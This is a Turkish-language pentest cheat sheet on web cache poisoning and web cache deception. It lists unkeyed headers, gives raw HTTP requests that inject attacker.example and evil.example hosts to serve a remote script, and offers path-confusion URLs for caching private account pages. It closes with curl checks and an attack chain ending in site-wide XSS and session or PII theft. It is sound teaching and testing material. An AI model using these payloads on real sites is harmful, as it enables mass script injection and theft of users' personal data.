Web Cache Poisoning & Deception
ileri seviye difficulty: orta-zor
Önbellekler istekleri bir cache key ile eşler (genelde host + path + bazı sorgu parametreleri). Key’e dahil olmayan (unkeyed) girdiler yanıtı etkiliyorsa, saldırgan zararlı bir yanıtı önbelleğe koyup diğer kullanıcılara servis edebilir. Web Cache Deception’da ise hassas dinamik içerik yanlışlıkla statik gibi önbelleğe alınır.
Cache Poisoning
Section titled “Cache Poisoning”-
Unkeyed girdi bul — X-Forwarded-Host , X-Forwarded-Scheme , X-Original-URL , X-Host , X-Forwarded-Prefix , fazladan query param yanıta yansıyor mu? Burp Param Miner unkeyed header/param keşfeder.
-
Cache’e giren yanıtı doğrula — X-Cache: miss → tekrar hit / Age artışı / CF-Cache-Status: HIT . Cache buster ( ?cb=uuid ) ile kendi zehirini izole et.
-
Zararlı yanıt üret — yansıyan host ile script/redirect: Yanıtta
https://attacker.example/...veya<script src="//attacker.example/x.js">→ XSS/redirect tüm tüketicilere.GET /resources/js?cb=123 HTTP/1.1Host: victim.comX-Forwarded-Host: attacker.example -
Yüksek trafikli kaynak — ana sayfa / paylaşılan JS / CSS zehirle.
Varyantlar
Section titled “Varyantlar”# Parameter cloaking (CDN key farklı parse)GET /?utm_content=x&utm_content=../../../evil# Fat GET / method override cache key farkı# Response splitting + cache (CRLF)# Request smuggling → cache poison# Unkeyed cookie / Accept-Language yansımasıGET /static/app.js HTTP/1.1Host: victim.comX-Forwarded-Host: evil.exampleX-Forwarded-Scheme: nothttpsCache Deception
Section titled “Cache Deception”Kurban, oturumlu hassas yolun statik uzantılı bir varyantına gider; CDN path’e bakıp cache’ler, origin ise session’a göre HTML döner:
https://victim.com/account/profile/x.csshttps://victim.com/account/profile;style.csshttps://victim.com/account/profile%0a.csshttps://victim.com/account/;/logo.pnghttps://victim.com/account/profile#.csshttps://victim.com/account/profile%2f..%2flogo.pngPath mapping farkı kritik: nginx trailing path, ; (Apache), %2f decode.
-
Hassas sayfa bul — /account , /api/me , ayarlar (PII HTML/JSON).
-
Statik gibi görünen URL üret — uzantı / ayırıcı ekle; yanıt hâlâ profil verisi mi?
-
Cache header kontrol — Cache-Control: public veya CDN hit; Vary: Cookie yokluğu şüpheli.
-
Kurbanı linke tıklat — sonra aynı URL’yi oturumsuz çek; kurban verisi dönüyorsa deception başarılı.
Tespit ipuçları
Section titled “Tespit ipuçları”GET / HTTP/1.1Host: victim.comX-Forwarded-Host: uniq.attacker.example
# Body / Location / Link'te uniq.attacker ara# Sonra header OLMADAN aynı path → zehir cache'de mi?curl -sI https://victim.com/app.js | grep -iE 'cache|age|cf-|x-cache|vary'curl -sI https://victim.com/account/settings/x.css \ -H 'Cookie: session=VICTIM' | grep -iE 'cache|content-type'Cache key ipuçları
Section titled “Cache key ipuçları”Key genelde: scheme + host + path + selected queryUnkeyed sık: X-Forwarded-*, X-Original-URL, cookie (bazen), AcceptParam Miner: "identifying unkeyed inputs"Normalized path vs raw path farkı → key collision□ Stored XSS tüm ziyaretçilere□ Open redirect / phishing kit dağıtımı□ Deception → session/PII çalma□ Smuggling ile targeted poison (tek kullanıcı)Saldırı zinciri
Section titled “Saldırı zinciri”Param Miner → unkeyed X-Forwarded-Host yansıyor → static JS path + cache buster ile self-test → buster'sız zehirle → kurban XSS/account/settings → /account/settings/promo.css → kurban tıklar → oturumsuz GET ile PII